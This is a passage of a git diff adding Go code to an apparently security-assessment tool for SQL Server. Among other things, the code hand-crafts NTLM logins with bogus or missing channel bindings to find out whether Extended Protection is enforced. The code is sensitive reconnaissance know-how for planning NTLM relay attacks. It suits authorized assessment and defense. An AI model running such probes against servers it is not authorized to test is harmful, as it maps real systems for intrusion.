+ if err := c.DBW().QueryRowContext(ctx, query).Scan(&isMixed); err == nil {
+ info.IsMixedModeAuth = isMixed == 1
+ }
+
+ return nil
+}
+
+// collectEncryptionSettings gets the force encryption and EPA settings.
+// It performs actual EPA connection testing when domain credentials are available,
+// falling back to registry-based detection otherwise.
+func (c *Client) collectEncryptionSettings(ctx context.Context, info *types.ServerInfo) error {
+ // Always attempt EPA testing if we have LDAP/domain credentials
+ if c.ldapUser != "" && c.ldapPassword != "" {
+ epaResult, err := c.TestEPA(ctx)
+ if err != nil {
+ c.logVerbose("Warning: EPA testing failed: %v, falling back to registry", err)
+ } else {
+ // Use results from EPA testing
+ if epaResult.ForceEncryption {
+ info.ForceEncryption = "Yes"
+ } else {
+ info.ForceEncryption = "No"
+ }
+ if epaResult.StrictEncryption {
+ info.StrictEncryption = "Yes"
+ } else {
+ info.StrictEncryption = "No"
+ }
+ info.ExtendedProtection = epaResult.EPAStatus
+ return nil
+ }
+ }
+
+ // Fall back to registry-based detection (or primary method when not verbose)
+ query := `
+ DECLARE @ForceEncryption INT
+ DECLARE @ExtendedProtection INT
+
+ EXEC master.dbo.xp_instance_regread
+ N'HKEY_LOCAL_MACHINE',
+ N'SOFTWARE\Microsoft\MSSQLServer\MSSQLServer\SuperSocketNetLib',
+ N'ForceEncryption',
+ @ForceEncryption OUTPUT
+
+ EXEC master.dbo.xp_instance_regread
+ N'HKEY_LOCAL_MACHINE',
+ N'SOFTWARE\Microsoft\MSSQLServer\MSSQLServer\SuperSocketNetLib',
+ N'ExtendedProtection',
+ @ExtendedProtection OUTPUT
+
+ SELECT
+ @ForceEncryption AS ForceEncryption,
+ @ExtendedProtection AS ExtendedProtection
+ `
+
+ var forceEnc, extProt sql.NullInt64
+
+ err := c.DBW().QueryRowContext(ctx, query).Scan(&forceEnc, &extProt)
+ if err != nil {
+ return nil // Non-fatal - user might not have permission
+ }
+
+ if forceEnc.Valid {
+ if forceEnc.Int64 == 1 {
+ info.ForceEncryption = "Yes"
+ } else {
+ info.ForceEncryption = "No"
+ }
+ }
+
+ if extProt.Valid {
+ switch extProt.Int64 {
+ case 0:
+ info.ExtendedProtection = "Off"
+ case 1:
+ info.ExtendedProtection = "Allowed"
+ case 2:
+ info.ExtendedProtection = "Required"
+ }
+ }
+
+ return nil
+}
+
+// TestConnection tests if a connection can be established
+func TestConnection(serverInstance, userID, password string, timeout time.Duration) error {
+ client := NewClient(serverInstance, userID, password)
+
+ ctx, cancel := context.WithTimeout(context.Background(), timeout)
+ defer cancel()
+
+ if err := client.Connect(ctx); err != nil {
+ return err
+ }
+ defer client.Close()
+
+ return nil
+}
diff --git a/go/internal/mssql/db_wrapper.go b/go/internal/mssql/db_wrapper.go
new file mode 100644
index 0000000..e0e19be
--- /dev/null
+++ b/go/internal/mssql/db_wrapper.go
@@ -0,0 +1,435 @@
+// Package mssql provides SQL Server connection and data collection functionality.
+package mssql
+
+import (
+ "context"
+ "database/sql"
+ "fmt"
+ "time"
+)
+
+// DBWrapper provides a unified interface for database queries
+// that works with both native go-mssqldb and PowerShell fallback modes.
+type DBWrapper struct {
+ db *sql.DB // Native database connection
+ psClient *PowerShellClient // PowerShell client for fallback
+ usePowerShell bool
+}
+
+// NewDBWrapper creates a new database wrapper
+func NewDBWrapper(db *sql.DB, psClient *PowerShellClient, usePowerShell bool) *DBWrapper {
+ return &DBWrapper{
+ db: db,
+ psClient: psClient,
+ usePowerShell: usePowerShell,
+ }
+}
+
+// RowScanner provides a unified interface for scanning rows
+type RowScanner interface {
+ Scan(dest ...interface{}) error
+}
+
+// Rows provides a unified interface for iterating over query results
+type Rows interface {
+ Next() bool
+ Scan(dest ...interface{}) error
+ Close() error
+ Err() error
+ Columns() ([]string, error)
+}
+
+// nativeRows wraps sql.Rows
+type nativeRows struct {
+ rows *sql.Rows
+}
+
+func (r *nativeRows) Next() bool { return r.rows.Next() }
+func (r *nativeRows) Scan(dest ...interface{}) error { return r.rows.Scan(dest...) }
+func (r *nativeRows) Close() error { return r.rows.Close() }
+func (r *nativeRows) Err() error { return r.rows.Err() }
+func (r *nativeRows) Columns() ([]string, error) { return r.rows.Columns() }
+
+// psRows wraps PowerShell query results to implement the Rows interface
+type psRows struct {
+ results []QueryResult
+ columns []string // Column names in query order (from QueryResponse)
+ current int
+ lastErr error
+}
+
+func newPSRows(response *QueryResponse) *psRows {
+ r := &psRows{
+ results: response.Rows,
+ columns: response.Columns, // Use column order from PowerShell response
+ current: -1,
+ }
+ return r
+}
+
+func (r *psRows) Next() bool {
+ r.current++
+ return r.current < len(r.results)
+}
+
+func (r *psRows) Scan(dest ...interface{}) error {
+ if r.current >= len(r.results) || r.current < 0 {
+ return sql.ErrNoRows
+ }
+
+ row := r.results[r.current]
+
+ // Match columns to destinations in order
+ for i, col := range r.columns {
+ if i >= len(dest) {
+ break
+ }
+ if err := scanValue(row[col], dest[i]); err != nil {
+ r.lastErr = err
+ return err
+ }
+ }
+ return nil
+}
+
+func (r *psRows) Close() error { return nil }
+func (r *psRows) Err() error { return r.lastErr }
+func (r *psRows) Columns() ([]string, error) { return r.columns, nil }
+
+// scanValue converts a PowerShell query result value to the destination type
+func scanValue(src interface{}, dest interface{}) error {
+ if src == nil {
+ switch d := dest.(type) {
+ case *sql.NullString:
+ d.Valid = false
+ return nil
+ case *sql.NullInt64:
+ d.Valid = false
+ return nil
+ case *sql.NullBool:
+ d.Valid = false
+ return nil
+ case *sql.NullInt32:
+ d.Valid = false
+ return nil
+ case *sql.NullFloat64:
+ d.Valid = false
+ return nil
+ case *sql.NullTime:
+ d.Valid = false
+ return nil
+ case *string:
+ *d = ""
+ return nil
+ case *int:
+ *d = 0
+ return nil
+ case *int64:
+ *d = 0
+ return nil
+ case *bool:
+ *d = false
+ return nil
+ case *time.Time:
+ *d = time.Time{}
+ return nil
+ case *interface{}:
+ *d = nil
+ return nil
+ case *[]byte:
+ *d = nil
+ return nil
+ default:
+ return nil
+ }
+ }
+
+ switch d := dest.(type) {
+ case *sql.NullString:
+ d.Valid = true
+ switch v := src.(type) {
+ case string:
+ d.String = v
+ case float64:
+ d.String = fmt.Sprintf("%v", v)
+ default:
+ d.String = fmt.Sprintf("%v", v)
+ }
+ return nil
+
+ case *sql.NullInt64:
+ d.Valid = true
+ switch v := src.(type) {
+ case float64:
+ d.Int64 = int64(v)
+ case int:
+ d.Int64 = int64(v)
+ case int64:
+ d.Int64 = v
+ case bool:
+ if v {
+ d.Int64 = 1
+ } else {
+ d.Int64 = 0
+ }
+ default:
+ d.Int64 = 0
+ }
+ return nil
+
+ case *sql.NullInt32:
+ d.Valid = true
+ switch v := src.(type) {
+ case float64:
+ d.Int32 = int32(v)
+ case int:
+ d.Int32 = int32(v)
+ case int64:
+ d.Int32 = int32(v)
+ case bool:
+ if v {
+ d.Int32 = 1
+ } else {
+ d.Int32 = 0
+ }
+ default:
+ d.Int32 = 0
+ }
+ return nil
+
+ case *sql.NullBool:
+ d.Valid = true
+ switch v := src.(type) {
+ case bool:
+ d.Bool = v
+ case float64:
+ d.Bool = v != 0
+ case int:
+ d.Bool = v != 0
+ default:
+ d.Bool = false
+ }
+ return nil
+
+ case *sql.NullFloat64:
+ d.Valid = true
+ switch v := src.(type) {
+ case float64:
+ d.Float64 = v
+ case int:
+ d.Float64 = float64(v)
+ case int64:
+ d.Float64 = float64(v)
+ default:
+ d.Float64 = 0
+ }
+ return nil
+
+ case *string:
+ switch v := src.(type) {
+ case string:
+ *d = v
+ default:
+ *d = fmt.Sprintf("%v", v)
+ }
+ return nil
+
+ case *int:
+ switch v := src.(type) {
+ case float64:
+ *d = int(v)
+ case int:
+ *d = v
+ case int64:
+ *d = int(v)
+ default:
+ *d = 0
+ }
+ return nil
+
+ case *int64:
+ switch v := src.(type) {
+ case float64:
+ *d = int64(v)
+ case int:
+ *d = int64(v)
+ case int64:
+ *d = v
+ default:
+ *d = 0
+ }
+ return nil
+
+ case *bool:
+ switch v := src.(type) {
+ case bool:
+ *d = v
+ case float64:
+ *d = v != 0
+ case int:
+ *d = v != 0
+ default:
+ *d = false
+ }
+ return nil
+
+ case *time.Time:
+ switch v := src.(type) {
+ case string:
+ // Try common date formats from PowerShell/JSON
+ formats := []string{
+ time.RFC3339,
+ "2006-01-02T15:04:05.999999999Z07:00",
+ "2006-01-02T15:04:05Z",
+ "2006-01-02T15:04:05",
+ "2006-01-02 15:04:05",
+ "1/2/2006 3:04:05 PM",
+ "/Date(1136239445000)/", // .NET JSON date format
+ }
+ for _, format := range formats {
+ if t, err := time.Parse(format, v); err == nil {
+ *d = t
+ return nil
+ }
+ }
+ *d = time.Time{}
+ case time.Time:
+ *d = v
+ default:
+ *d = time.Time{}
+ }
+ return nil
+
+ case *sql.NullTime:
+ d.Valid = true
+ switch v := src.(type) {
+ case string:
+ formats := []string{
+ time.RFC3339,
+ "2006-01-02T15:04:05.999999999Z07:00",
+ "2006-01-02T15:04:05Z",
+ "2006-01-02T15:04:05",
+ "2006-01-02 15:04:05",
+ "1/2/2006 3:04:05 PM",
+ }
+ for _, format := range formats {
+ if t, err := time.Parse(format, v); err == nil {
+ d.Time = t
+ return nil
+ }
+ }
+ d.Valid = false
+ d.Time = time.Time{}
+ case time.Time:
+ d.Time = v
+ default:
+ d.Valid = false
+ d.Time = time.Time{}
+ }
+ return nil
+
+ case *interface{}:
+ *d = src
+ return nil
+
+ case *[]byte: // []uint8 is same as []byte
+ // Handle byte slices (used for binary data like SIDs)
+ bytesDest := dest.(*[]byte)
+ switch v := src.(type) {
+ case string:
+ // String from JSON - could be base64 or hex
+ *bytesDest = []byte(v)
+ case []byte:
+ *bytesDest = v
+ case []interface{}:
+ // PowerShell sometimes returns byte arrays as array of numbers
+ bytes := make([]byte, len(v))
+ for i, b := range v {
+ if num, ok := b.(float64); ok {
+ bytes[i] = byte(num)
+ }
+ }
+ *bytesDest = bytes
+ default:
+ // Set to empty slice
+ *bytesDest = []byte{}
+ }
+ return nil
+
+ default:
+ return fmt.Errorf("unsupported scan destination type: %T", dest)
+ }
+}
+
+// QueryContext executes a query and returns rows
+func (w *DBWrapper) QueryContext(ctx context.Context, query string, args ...interface{}) (Rows, error) {
+ if w.usePowerShell {
+ // PowerShell doesn't support parameterized queries well, so we only support queries without args
+ if len(args) > 0 {
+ return nil, fmt.Errorf("PowerShell mode does not support parameterized queries")
+ }
+ response, err := w.psClient.ExecuteQuery(ctx, query)
+ if err != nil {
+ return nil, err
+ }
+ return newPSRows(response), nil
+ }
+
+ rows, err := w.db.QueryContext(ctx, query, args...)
+ if err != nil {
+ return nil, err
+ }
+ return &nativeRows{rows: rows}, nil
+}
+
+// QueryRowContext executes a query and returns a single row
+func (w *DBWrapper) QueryRowContext(ctx context.Context, query string, args ...interface{}) RowScanner {
+ if w.usePowerShell {
+ if len(args) > 0 {
+ return &errorRowScanner{err: fmt.Errorf("PowerShell mode does not support parameterized queries")}
+ }
+ response, err := w.psClient.ExecuteQuery(ctx, query)
+ if err != nil {
+ return &errorRowScanner{err: err}
+ }
+ if len(response.Rows) == 0 {
+ return &errorRowScanner{err: sql.ErrNoRows}
+ }
+ rows := newPSRows(response)
+ rows.Next() // Advance to first row
+ return rows
+ }
+
+ return w.db.QueryRowContext(ctx, query, args...)
+}
+
+// ExecContext executes a query without returning rows
+func (w *DBWrapper) ExecContext(ctx context.Context, query string, args ...interface{}) (sql.Result, error) {
+ if w.usePowerShell {
+ if len(args) > 0 {
+ return nil, fmt.Errorf("PowerShell mode does not support parameterized queries")
+ }
+ _, err := w.psClient.ExecuteQuery(ctx, query)
+ if err != nil {
+ return nil, err
+ }
+ return &psResult{}, nil
+ }
+
+ return w.db.ExecContext(ctx, query, args...)
+}
+
+// psResult implements sql.Result for PowerShell mode
+type psResult struct{}
+
+func (r *psResult) LastInsertId() (int64, error) { return 0, nil }
+func (r *psResult) RowsAffected() (int64, error) { return 0, nil }
+
+// errorRowScanner returns an error on Scan
+type errorRowScanner struct {
+ err error
+}
+
+func (r *errorRowScanner) Scan(dest ...interface{}) error {
+ return r.err
+}
diff --git a/go/internal/mssql/epa_tester.go b/go/internal/mssql/epa_tester.go
new file mode 100644
index 0000000..c913c4f
--- /dev/null
+++ b/go/internal/mssql/epa_tester.go
@@ -0,0 +1,811 @@
+// Package mssql - EPA test orchestrator.
+// Performs raw TDS+TLS+NTLM login attempts with controllable Channel Binding
+// and Service Binding AV_PAIRs to determine EPA enforcement level.
+// This matches the approach used in the Python reference implementation
+// (MssqlExtended.py / MssqlInformer.py).
+package mssql
+
+import (
+ "context"
+ "encoding/binary"
+ "fmt"
+ "math/rand"
+ "net"
+ "strings"
+ "time"
+ "unicode/utf16"
+)
+
+// EPATestConfig holds configuration for a single EPA test connection.
+type EPATestConfig struct {
+ Hostname string
+ Port int
+ InstanceName string
+ Domain string
+ Username string
+ Password string
+ TestMode EPATestMode
+ Verbose bool
+}
+
+// epaTestOutcome represents the result of a single EPA test connection attempt.
+type epaTestOutcome struct {
+ Success bool
+ ErrorMessage string
+ IsUntrustedDomain bool
+ IsLoginFailed bool
+}
+
+// TDS LOGIN7 option flags
+const (
+ login7OptionFlags2IntegratedSecurity byte = 0x80
+ login7OptionFlags2ODBCOn byte = 0x02
+ login7OptionFlags2InitLangFatal byte = 0x01
+)
+
+// TDS token types for parsing login response
+const (
+ tdsTokenLoginAck byte = 0xAD
+ tdsTokenError byte = 0xAA
+ tdsTokenEnvChange byte = 0xE3
+ tdsTokenDone byte = 0xFD
+ tdsTokenDoneProc byte = 0xFE
+ tdsTokenInfo byte = 0xAB
+ tdsTokenSSPI byte = 0xED
+)
+
+// Encryption flag values from PRELOGIN response
+const (
+ encryptOff byte = 0x00
+ encryptOn byte = 0x01
+ encryptNotSup byte = 0x02
+ encryptReq byte = 0x03
+ // encryptStrict is a synthetic value used to indicate TDS 8.0 strict
+ // encryption was detected (the server required TLS before any TDS messages).
+ encryptStrict byte = 0x08
+)
+
+// runEPATest performs a single raw TDS+TLS+NTLM login with the specified EPA test mode.
+// This replaces the old testConnectionWithEPA which incorrectly used encrypt=disable.
+//
+// The flow matches the Python MssqlExtended.login():
+// 1. TCP connect
+// 2. Send PRELOGIN, receive PRELOGIN response, extract encryption setting
+// 3. Perform TLS handshake inside TDS PRELOGIN packets
+// 4. Build LOGIN7 with NTLM Type1 in SSPI field, send over TLS
+// 5. (For ENCRYPT_OFF: switch back to raw TCP after LOGIN7)
+// 6. Receive NTLM Type2 challenge from server
+// 7. Build Type3 with modified AV_PAIRs per testMode, send as TDS_SSPI
+// 8. Receive final response: LOGINACK = success, ERROR = failure
+func runEPATest(ctx context.Context, config *EPATestConfig) (*epaTestOutcome, byte, error) {
+ logf := func(format string, args ...interface{}) {
+ if config.Verbose {
+ fmt.Printf(" [EPA-debug] "+format+"\n", args...)
+ }
+ }
+
+ testModeNames := map[EPATestMode]string{
+ EPATestNormal: "Normal",
+ EPATestBogusCBT: "BogusCBT",
+ EPATestMissingCBT: "MissingCBT",
+ EPATestBogusService: "BogusService",
+ EPATestMissingService: "MissingService",
+ }
+
+ // Resolve port
+ port := config.Port
+ if port == 0 {
+ port = 1433
+ }
+
+ logf("Starting EPA test mode=%s against %s:%d", testModeNames[config.TestMode], config.Hostname, port)
+
+ // TCP connect
+ addr := fmt.Sprintf("%s:%d", config.Hostname, port)
+ dialer := &net.Dialer{Timeout: 10 * time.Second}
+ conn, err := dialer.DialContext(ctx, "tcp", addr)
+ if err != nil {
+ return nil, 0, fmt.Errorf("TCP connect to %s failed: %w", addr, err)
+ }
+ defer conn.Close()
+ conn.SetDeadline(time.Now().Add(30 * time.Second))
+
+ tds := newTDSConn(conn)
+
+ // Step 1: PRELOGIN exchange
+ preloginPayload := buildPreloginPacket()
+ if err := tds.sendPacket(tdsPacketPrelogin, preloginPayload); err != nil {
+ return nil, 0, fmt.Errorf("send PRELOGIN: %w", err)
+ }
+
+ _, preloginResp, err := tds.readFullPacket()
+ if err != nil {
+ return nil, 0, fmt.Errorf("read PRELOGIN response: %w", err)
+ }
+
+ encryptionFlag, err := parsePreloginEncryption(preloginResp)
+ if err != nil {
+ return nil, 0, fmt.Errorf("parse PRELOGIN: %w", err)
+ }
+
+ logf("Server encryption flag: 0x%02X", encryptionFlag)
+
+ if encryptionFlag == encryptNotSup {
+ return nil, encryptionFlag, fmt.Errorf("server does not support encryption, cannot test EPA")
+ }
+
+ // Step 2: TLS handshake over TDS
+ tlsConn, sw, err := performTLSHandshake(tds, config.Hostname)
+ if err != nil {
+ return nil, encryptionFlag, fmt.Errorf("TLS handshake: %w", err)
+ }
+ logf("TLS handshake complete, cipher: 0x%04X", tlsConn.ConnectionState().CipherSuite)
+
+ // Step 3: Compute channel binding hash from TLS certificate
+ cbtHash, err := getChannelBindingHashFromTLS(tlsConn)
+ if err != nil {
+ return nil, encryptionFlag, fmt.Errorf("compute CBT: %w", err)
+ }
+ logf("CBT hash: %x", cbtHash)
+
+ // Step 4: Setup NTLM authenticator
+ spn := computeSPN(config.Hostname, port)
+ auth := newNTLMAuth(config.Domain, config.Username, config.Password, spn)
+ auth.SetEPATestMode(config.TestMode)
+ auth.SetChannelBindingHash(cbtHash)
+ logf("SPN: %s, Domain: %s, User: %s", spn, config.Domain, config.Username)
+
+ // Generate NTLM Type1 (Negotiate)
+ negotiateMsg := auth.CreateNegotiateMessage()
+ logf("Type1 negotiate message: %d bytes", len(negotiateMsg))
+
+ // Step 5: Build and send LOGIN7 with NTLM Type1 in SSPI field
+ login7 := buildLogin7Packet(config.Hostname, "MSSQLHound-EPA", config.Hostname, negotiateMsg)
+ logf("LOGIN7 packet: %d bytes", len(login7))
+
+ // Send LOGIN7 through TLS (the TLS connection writes to the underlying TCP)
+ // We need to wrap in TDS packet and send through the TLS layer
+ login7TDS := buildTDSPacketRaw(tdsPacketLogin7, login7)
+ if _, err := tlsConn.Write(login7TDS); err != nil {
+ return nil, encryptionFlag, fmt.Errorf("send LOGIN7: %w", err)
+ }
+ logf("Sent LOGIN7 (%d bytes with TDS header)", len(login7TDS))
+
+ // Step 6: For ENCRYPT_OFF, drop TLS after LOGIN7 (matching Python line 82-83)
+ if encryptionFlag == encryptOff {
+ sw.c = conn // Switch back to raw TCP
+ logf("Dropped TLS (ENCRYPT_OFF)")
+ }
+
+ // Step 7: Read server response (contains NTLM Type2 challenge)
+ // After TLS switch, we read from the appropriate transport
+ var responseData []byte
+ if encryptionFlag == encryptOff {
+ // Read from raw TCP with TDS framing
+ _, responseData, err = tds.readFullPacket()
+ } else {
+ // Read from TLS
+ responseData, err = readTLSTDSPacket(tlsConn)
+ }
+ if err != nil {
+ return nil, encryptionFlag, fmt.Errorf("read challenge response: %w", err)
+ }
+ logf("Received challenge response: %d bytes", len(responseData))
+
+ // Extract NTLM Type2 from the SSPI token in the TDS response
+ challengeData := extractSSPIToken(responseData)
+ if challengeData == nil {
+ // Check if we got an error instead (e.g., server rejected before NTLM)
+ success, errMsg := parseLoginTokens(responseData)
+ logf("No SSPI token found, login result: success=%v, error=%q", success, errMsg)
+ return &epaTestOutcome{
+ Success: success,
+ ErrorMessage: errMsg,
+ IsUntrustedDomain: strings.Contains(errMsg, "untrusted domain"),
+ IsLoginFailed: strings.Contains(errMsg, "Login failed"),
+ }, encryptionFlag, nil
+ }
+ logf("Extracted NTLM Type2 challenge: %d bytes", len(challengeData))
+
+ // Step 8: Process challenge and generate Type3
+ if err := auth.ProcessChallenge(challengeData); err != nil {
+ return nil, encryptionFlag, fmt.Errorf("process NTLM challenge: %w", err)
+ }
+ logf("Server NetBIOS domain from Type2: %q (user-provided: %q)", auth.serverDomain, config.Domain)
+
+ authenticateMsg, err := auth.CreateAuthenticateMessage()
+ if err != nil {
+ return nil, encryptionFlag, fmt.Errorf("create NTLM authenticate: %w", err)
+ }
+ logf("Type3 authenticate message: %d bytes (mode=%s)", len(authenticateMsg), testModeNames[config.TestMode])
+
+ // Step 9: Send Type3 as TDS_SSPI
+ sspiTDS := buildTDSPacketRaw(tdsPacketSSPI, authenticateMsg)
+ if encryptionFlag == encryptOff {
+ // Send on raw TCP
+ if _, err := conn.Write(sspiTDS); err != nil {
+ return nil, encryptionFlag, fmt.Errorf("send SSPI auth: %w", err)
+ }
+ } else {
+ // Send through TLS
+ if _, err := tlsConn.Write(sspiTDS); err != nil {
+ return nil, encryptionFlag, fmt.Errorf("send SSPI auth: %w", err)
+ }
+ }
+ logf("Sent Type3 SSPI (%d bytes with TDS header)", len(sspiTDS))
+
+ // Step 10: Read final response
+ if encryptionFlag == encryptOff {
+ _, responseData, err = tds.readFullPacket()
+ } else {
+ responseData, err = readTLSTDSPacket(tlsConn)
+ }
+ if err != nil {
+ return nil, encryptionFlag, fmt.Errorf("read auth response: %w", err)
+ }
+ logf("Received auth response: %d bytes", len(responseData))
+
+ // Parse for LOGINACK or ERROR
+ success, errMsg := parseLoginTokens(responseData)
+ logf("Login result: success=%v, error=%q", success, errMsg)
+ return &epaTestOutcome{
+ Success: success,
+ ErrorMessage: errMsg,
+ IsUntrustedDomain: strings.Contains(errMsg, "untrusted domain"),
+ IsLoginFailed: strings.Contains(errMsg, "Login failed"),
+ }, encryptionFlag, nil
+}
+
+// buildTDSPacketRaw creates a TDS packet with header + payload (for writing through TLS).
+func buildTDSPacketRaw(packetType byte, payload []byte) []byte {
+ pktLen := tdsHeaderSize + len(payload)
+ pkt := make([]byte, pktLen)
+ pkt[0] = packetType
+ pkt[1] = 0x01 // EOM
+ binary.BigEndian.PutUint16(pkt[2:4], uint16(pktLen))
+ // SPID, PacketID, Window all zero
+ copy(pkt[tdsHeaderSize:], payload)
+ return pkt
+}
+
+// buildLogin7Packet constructs a TDS LOGIN7 packet payload with SSPI (NTLM Type1).
+func buildLogin7Packet(hostname, appName, serverName string, sspiPayload []byte) []byte {
+ hostname16 := str2ucs2Login(hostname)
+ appname16 := str2ucs2Login(appName)
+ servername16 := str2ucs2Login(serverName)
+ ctlintname16 := str2ucs2Login("MSSQLHound")
+
+ hostnameRuneLen := utf16.Encode([]rune(hostname))
+ appnameRuneLen := utf16.Encode([]rune(appName))
+ servernameRuneLen := utf16.Encode([]rune(serverName))
+ ctlintnameRuneLen := utf16.Encode([]rune("MSSQLHound"))
+
+ // loginHeader is 94 bytes (matches go-mssqldb loginHeader struct)
+ const headerSize = 94
+ sspiLen := len(sspiPayload)
+
+ // Calculate offsets
+ offset := uint16(headerSize)
+
+ hostnameOffset := offset
+ offset += uint16(len(hostname16))
+
+ // Username (empty for SSPI)
+ usernameOffset := offset
+ // Password (empty for SSPI)
+ passwordOffset := offset
+
+ appnameOffset := offset
+ offset += uint16(len(appname16))
+
+ servernameOffset := offset
+ offset += uint16(len(servername16))
+
+ // Extension (empty)
+ extensionOffset := offset
+
+ ctlintnameOffset := offset
+ offset += uint16(len(ctlintname16))
+
+ // Language (empty)
+ languageOffset := offset
+ // Database (empty)
+ databaseOffset := offset
+
+ sspiOffset := offset
+ offset += uint16(sspiLen)
+
+ // AtchDBFile (empty)
+ atchdbOffset := offset
+ // ChangePassword (empty)
+ changepwOffset := offset
+
+ totalLen := uint32(offset)
+
+ // Build the packet
+ pkt := make([]byte, totalLen)
+
+ // Length
+ binary.LittleEndian.PutUint32(pkt[0:4], totalLen)
+ // TDS Version (7.4 = 0x74000004)
+ binary.LittleEndian.PutUint32(pkt[4:8], 0x74000004)
+ // Packet Size
+ binary.LittleEndian.PutUint32(pkt[8:12], uint32(tdsMaxPacketSize))
+ // Client Program Version
+ binary.LittleEndian.PutUint32(pkt[12:16], 0x07000000)
+ // Client PID
+ binary.LittleEndian.PutUint32(pkt[16:20], uint32(rand.Intn(65535)))
+ // Connection ID
+ binary.LittleEndian.PutUint32(pkt[20:24], 0)
+
+ // Option Flags 1 (byte 24)
+ pkt[24] = 0x00
+ // Option Flags 2 (byte 25): Integrated Security ON + ODBC ON
+ pkt[25] = login7OptionFlags2IntegratedSecurity | login7OptionFlags2ODBCOn | login7OptionFlags2InitLangFatal
+ // Type Flags (byte 26)
+ pkt[26] = 0x00
+ // Option Flags 3 (byte 27)
+ pkt[27] = 0x00
+
+ // Client Time Zone (4 bytes at 28)
+ // Client LCID (4 bytes at 32)
+
+ // Field offsets and lengths
+ binary.LittleEndian.PutUint16(pkt[36:38], hostnameOffset)
+ binary.LittleEndian.PutUint16(pkt[38:40], uint16(len(hostnameRuneLen)))
+
+ binary.LittleEndian.PutUint16(pkt[40:42], usernameOffset)
+ binary.LittleEndian.PutUint16(pkt[42:44], 0) // empty username for SSPI
+
+ binary.LittleEndian.PutUint16(pkt[44:46], passwordOffset)
+ binary.LittleEndian.PutUint16(pkt[46:48], 0) // empty password for SSPI
+
+ binary.LittleEndian.PutUint16(pkt[48:50], appnameOffset)
+ binary.LittleEndian.PutUint16(pkt[50:52], uint16(len(appnameRuneLen)))
+
+ binary.LittleEndian.PutUint16(pkt[52:54], servernameOffset)
+ binary.LittleEndian.PutUint16(pkt[54:56], uint16(len(servernameRuneLen)))
+
+ binary.LittleEndian.PutUint16(pkt[56:58], extensionOffset)
+ binary.LittleEndian.PutUint16(pkt[58:60], 0) // no extension
+
+ binary.LittleEndian.PutUint16(pkt[60:62], ctlintnameOffset)
+ binary.LittleEndian.PutUint16(pkt[62:64], uint16(len(ctlintnameRuneLen)))
+
+ binary.LittleEndian.PutUint16(pkt[64:66], languageOffset)
+ binary.LittleEndian.PutUint16(pkt[66:68], 0)
+
+ binary.LittleEndian.PutUint16(pkt[68:70], databaseOffset)
+ binary.LittleEndian.PutUint16(pkt[70:72], 0)
+
+ // ClientID (6 bytes at 72) - leave zero
+
+ binary.LittleEndian.PutUint16(pkt[78:80], sspiOffset)
+ binary.LittleEndian.PutUint16(pkt[80:82], uint16(sspiLen))
+
+ binary.LittleEndian.PutUint16(pkt[82:84], atchdbOffset)
+ binary.LittleEndian.PutUint16(pkt[84:86], 0)
+
+ binary.LittleEndian.PutUint16(pkt[86:88], changepwOffset)
+ binary.LittleEndian.PutUint16(pkt[88:90], 0)
+
+ // SSPILongLength (4 bytes at 90)
+ binary.LittleEndian.PutUint32(pkt[90:94], 0)
+
+ // Payload
+ copy(pkt[hostnameOffset:], hostname16)
+ copy(pkt[appnameOffset:], appname16)
+ copy(pkt[servernameOffset:], servername16)
+ copy(pkt[ctlintnameOffset:], ctlintname16)
+ copy(pkt[sspiOffset:], sspiPayload)
+
+ return pkt
+}
+
+// str2ucs2Login converts a string to UTF-16LE bytes (for LOGIN7 fields).
+func str2ucs2Login(s string) []byte {
+ encoded := utf16.Encode([]rune(s))
+ b := make([]byte, 2*len(encoded))
+ for i, r := range encoded {
+ b[2*i] = byte(r)
+ b[2*i+1] = byte(r >> 8)
+ }
+ return b
+}
+
+// parsePreloginEncryption extracts the encryption flag from a PRELOGIN response payload.
+func parsePreloginEncryption(payload []byte) (byte, error) {
+ offset := 0
+ for offset < len(payload) {
+ if payload[offset] == 0xFF {
+ break
+ }
+ if offset+5 > len(payload) {
+ break
+ }
+
+ token := payload[offset]
+ dataOffset := int(payload[offset+1])<<8 | int(payload[offset+2])
+ dataLen := int(payload[offset+3])<<8 | int(payload[offset+4])
+
+ if token == 0x01 && dataLen >= 1 && dataOffset < len(payload) {
+ return payload[dataOffset], nil
+ }
+
+ offset += 5
+ }
+ return 0, fmt.Errorf("encryption option not found in PRELOGIN response")
+}
+
+// extractSSPIToken extracts the NTLM challenge from a TDS response containing SSPI token.
+// The SSPI token is returned as TDS_SSPI (0xED) token in the tabular result stream.
+func extractSSPIToken(data []byte) []byte {
+ offset := 0
+ for offset < len(data) {
+ tokenType := data[offset]
+ offset++
+
+ switch tokenType {
+ case tdsTokenSSPI:
+ // SSPI token: 2-byte length (LE) + payload
+ if offset+2 > len(data) {
+ return nil
+ }
+ length := int(binary.LittleEndian.Uint16(data[offset : offset+2]))
+ offset += 2
+ if offset+length > len(data) {
+ return nil
+ }
+ return data[offset : offset+length]
+
+ case tdsTokenError, tdsTokenInfo:
+ // Variable-length token with 2-byte length
+ if offset+2 > len(data) {
+ return nil
+ }
+ length := int(binary.LittleEndian.Uint16(data[offset : offset+2]))
+ offset += 2 + length
+
+ case tdsTokenEnvChange:
+ if offset+2 > len(data) {
+ return nil
+ }
+ length := int(binary.LittleEndian.Uint16(data[offset : offset+2]))
+ offset += 2 + length
+
+ case tdsTokenDone, tdsTokenDoneProc:
+ offset += 12 // fixed 12 bytes
+
+ case tdsTokenLoginAck:
+ if offset+2 > len(data) {
+ return nil
+ }
+ length := int(binary.LittleEndian.Uint16(data[offset : offset+2]))
+ offset += 2 + length
+
+ default:
+ // Unknown token - try to skip (assume 2-byte length prefix)
+ if offset+2 > len(data) {
+ return nil
+ }
+ length := int(binary.LittleEndian.Uint16(data[offset : offset+2]))
+ offset += 2 + length
+ }
+ }
+ return nil
+}
+
+// parseLoginTokens parses TDS response tokens to determine login success/failure.
+func parseLoginTokens(data []byte) (bool, string) {
+ success := false
+ var errorMsg string
+
+ offset := 0
+ for offset < len(data) {
+ if offset >= len(data) {
+ break
+ }
+ tokenType := data[offset]
+ offset++
+
+ switch tokenType {
+ case tdsTokenLoginAck:
+ success = true
+ if offset+2 > len(data) {
+ return success, errorMsg
+ }
+ length := int(binary.LittleEndian.Uint16(data[offset : offset+2]))
+ offset += 2 + length
+
+ case tdsTokenError:
+ if offset+2 > len(data) {
+ return success, errorMsg
+ }
+ length := int(binary.LittleEndian.Uint16(data[offset : offset+2]))
+ if offset+2+length <= len(data) {
+ errorMsg = parseErrorToken(data[offset+2 : offset+2+length])
+ }
+ offset += 2 + length
+
+ case tdsTokenInfo:
+ if offset+2 > len(data) {
+ return success, errorMsg
+ }
